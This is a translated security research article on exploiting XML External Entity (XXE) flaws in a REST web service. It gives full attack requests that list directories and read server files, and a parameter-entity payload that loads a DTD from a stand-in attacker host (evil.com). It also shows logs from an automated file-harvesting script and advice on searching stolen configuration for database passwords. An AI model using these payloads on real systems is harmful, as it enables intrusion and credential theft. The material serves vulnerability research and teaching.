0×00 场景介绍

最近我们在测定一个RESRful web service时开发了一个工具来从系统中自动挖掘XXE(XML External Entity)漏洞。这里我们将通过一个生成用户账号的web service来进行工具的演示。

下面的例子中显示了HTTP 请求的四个参数:

PUT /api/user HTTP/1.1
Host: example.com
Content-Type: application/xml
Content-Length: 109
 
<?xml version=”1.0” encoding=”UTF-8” standalone=”yes”?>
<firstname>John</firstname>
<surname>Doe</surname>
<email>[email protected]</email>
<role>admin</role>

对应的HTTP 响应中除了这四个参数还包含了生成的账户ID。

HTTP/1.1 200 OK
Date: Tue, 03 Mar 2015 10:57:28 GMT
Content-Type: application/xml
Content-Length: 557
Connection: keep-alive
 
{
    “userId”: 123,
    “firstname”: “John”,
    “surname”: “Doe”,
    “email”: “[email protected]”,
    “role”: “admin”
}

这里要注意的是由于web service接受JSON和XML输入,所以响应也是json编码。支持多种数据格式现在变得越发常见,这在Antti Rantasaari的博客中有详细阐述。

证明存在XXE漏洞的典型做法是获取etc/passwd中的内容,而除此以外一些XML解析器还可以列出目录列表。下面的请求中定义了外部实体“xxe”来包含/etc/tomcat7/下的路径。

PUT /api/user HTTP/1.1
Host: example.com
Content-Type: application/xml
Content-Length: 233
 
<?xml version=”1.0” encoding=”UTF-8” standalone=”yes”?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM “file:///etc/tomcat7/”>
]>
<user>
    <firstname>John</firstname>
    <surname>&xxe;</surname>
    <email>[email protected]</email>
    <role>admin</role>
</user>

通过在<surname>标签中引入“&xxe”,我们将可以在响应中看到目录列表。

HTTP/1.1 200 OK
Date: Tue, 03 Mar 2015 11:04:01 GMT
Content-Type: application/xml
Content-Length: 557
Connection: keep-alive
 
{
    “userId”: 126,
    “firstname”: “John”,
    “surname”: “Catalina\ncatalina.properties\ncontext.xml\nlogging.properties\npolicy.d\nserver.xml\ntomcat-users.xml\nweb.xml\n”,
    “email”: “[email protected]”,
    “role”: “admin”
}

0×01工具介绍

现在我们可以得到目录列表和获取文件,下一步就是实现自动化攻击并尽可能多的下载文件。我们可以用下面的python脚本列出/etc/tomcat下的路径:

# python xxeclient.py /etc/tomcat7/
2015-04-24 16:21:10,650 [INFO    ] retrieving /etc/tomcat7/
2015-04-24 16:21:10,668 [INFO    ] retrieving /etc/tomcat7/Catalina/
2015-04-24 16:21:10,690 [INFO    ] retrieving /etc/tomcat7/Catalina/localhost/
2015-04-24 16:21:10,696 [INFO    ] looks like a file: /etc/tomcat7/Catalina/localhost/
2015-04-24 16:21:10,699 [INFO    ] saving etc/tomcat7/Catalina/localhost
2015-04-24 16:21:10,700 [INFO    ] retrieving /etc/tomcat7/catalina.properties/
2015-04-24 16:21:10,711 [INFO    ] looks like a file: /etc/tomcat7/catalina.properties/
2015-04-24 16:21:10,714 [INFO    ] saving etc/tomcat7/catalina.properties
2015-04-24 16:21:10,715 [INFO    ] retrieving /etc/tomcat7/context.xml/
2015-04-24 16:21:10,721 [INFO    ] looks like a file: /etc/tomcat7/context.xml/
2015-04-24 16:21:10,721 [INFO    ] saving etc/tomcat7/context.xml
[…]

现在我们就可以在文件中通过grep查找密码和其他有用的信息。比如/etc/tomcat7/context.xml中也许会包含数据库的敏感信息

<?xml version=”1.0” encoding=”UTF-8”?>
<Context>
    <Resource name=”jdbc/myDB”
              auth=”Container”
              type=”javax.sql.DataSource”
              username=”sqluser”
              password=”password”
              driverClassName=”com.mysql.jdbc.Driver”
              url=”jdbc:mysql://…”/>
</Context>

我们通过上面请求中的XXE payload在<surname>标签中成功得到了文件内容。相应的,无效的xml(比如当文件包含尖括号)会导致解析器错误。而且程序也可能会忽略错误的xml 标签。

为了解决上述问题,文件内容可以封装在CDATA部分中(详情可参考Timothy D. Morgan的报告)。下面的请求中声明了5个实体。文件内容写入在“%file”中,“%start”标志着CDATA的开始,“%end”标志着CDATA的结束。最后,“%dtd”加载一个构造好的dtd文件。这个文件定义了“xxe”实体,连接“%start”,“%file”,“end”。接着这个实体引用在了<surname>标签中。

PUT /api/user HTTP/1.1
Host: example.com
Content-Type: application/xml
Content-Length: 378
 
<?xml version=”1.0” encoding=”UTF-8” standalone=”yes”?>
<!DOCTYPE updateProfile [
   <!ENTITY % file SYSTEM “file:///etc/tomcat7/context.xml”>
   <!ENTITY % start “<![CDATA[“>
   <!ENTITY % end “]]>”>
   <!ENTITY % dtd SYSTEM “http://evil.com/evil.dtd”>
%dtd;
]>
<user>
    <firstname>John</firstname>
    <surname>&xxe;</surname>
    <email>[email protected]</email>
    <role>admin</role>
</user>

这就是从我们控制的服务器上加载过来的“evil.dtd”。

<!ENTITY xxe “%start;%file;%end;”>

响应中便包含了“/etc/tomcat7/context.xml”配置文件中的内容。

HTTP/1.1 200 OK
Date: Tue, 03 Mar 2015 11:12:43 GMT
Content-Type: application/xml
Content-Length: 557
Connection: keep-alive
 
{
    “userId”: 127,
    “firstname”: “John”,
    “surname”: “<?xml
 version=”1.0” encoding=”UTF-8”?>\n<Context>\n<Resource 
name=”jdbc/myDB” auth=”Container” type=”javax.sql.DataSource” 
username=”sqluser” password=”password” 
driverClassName=”com.mysql.jdbc.Driver” 
url=”jdbc:mysql://…”/>\n</Context>”,
    “email”: “[email protected]”,
    “role”: “admin”
}

0×02注意事项
要注意这个方法只会在处理XML输入的服务器允许向外部服务器连接获取到evil.dtd文件时才有用。并且,当文件包含“%”(在一些情况中是“&”)或者非unicode的字符(比如bytes<0×20)仍会导致解析器错误。还有一点,“]]>”因为是CDATA的结束标志,所以也不能出现。
在列目录列表时,还没有有效的方法来分辨文件和路径。这个脚本假定文件只包含字母、数字、空格和“$.-_~”。或者,我们也可以将所有文件当做目录,重复其内容,尝试下载这些文件或子目录。然而,当遇到大文件时会开销很大。
该脚本适用于上述例子,但修改xml语句和“_parse_response()”方法就可以适用于其他情况。
脚本下载地址GitHub

0×03总结

挖掘XXE漏洞的一个方法是从目标服务器中下载文件。一些解释器也会返回目录列表。这种情况下我们就可以用该脚本逐步列出所有路径。然而,因为一些字符会破坏XML语法所以不一定都能适用。

*参考:GDS 编译/florence , 转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

源链接

Hacking more

...